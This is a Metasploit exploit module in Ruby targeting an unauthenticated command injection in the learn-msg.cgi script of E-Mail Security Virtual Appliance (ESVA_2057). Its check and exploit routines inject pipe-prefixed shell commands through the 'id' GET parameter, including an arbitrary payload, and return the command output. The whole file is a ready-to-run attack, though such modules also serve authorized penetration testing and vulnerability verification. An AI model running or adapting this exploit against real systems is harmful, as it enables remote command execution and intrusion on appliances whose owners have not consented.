##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in E-Mail Security
Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
OS commands without authentication. This module has been successfully tested on the
ESVA_2057 appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iJoo', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '85462'],
[ 'BID', '55050'],
[ 'EDB', '20551' ]
],
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['ESVA_2057', {}],
],
'Privileged' => false,
'DisclosureDate' => '2012-08-16',
'DefaultTarget' => 0))
end
def check
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/learn-msg.cgi",
'vars_get' => {
'id' => "|echo #{clue};"
}
})
# If the server doesn't return the default redirection, probably something is wrong
if res and res.code == 200 and res.body =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
peer = "#{rhost}:#{rport}"
print_status("Sending Command injection")
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/learn-msg.cgi",
'vars_get' => {
'id' => "|#{payload.raw};"
}
})
# If the server doesn't return the default redirection, probably something is wrong
if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
print_error("Probably command not executed, aborting!")
return
end
print_good("Command executed successfully")
print_status("Output: \n#{res.body.split("Learned tokens")[0]}")
end
end
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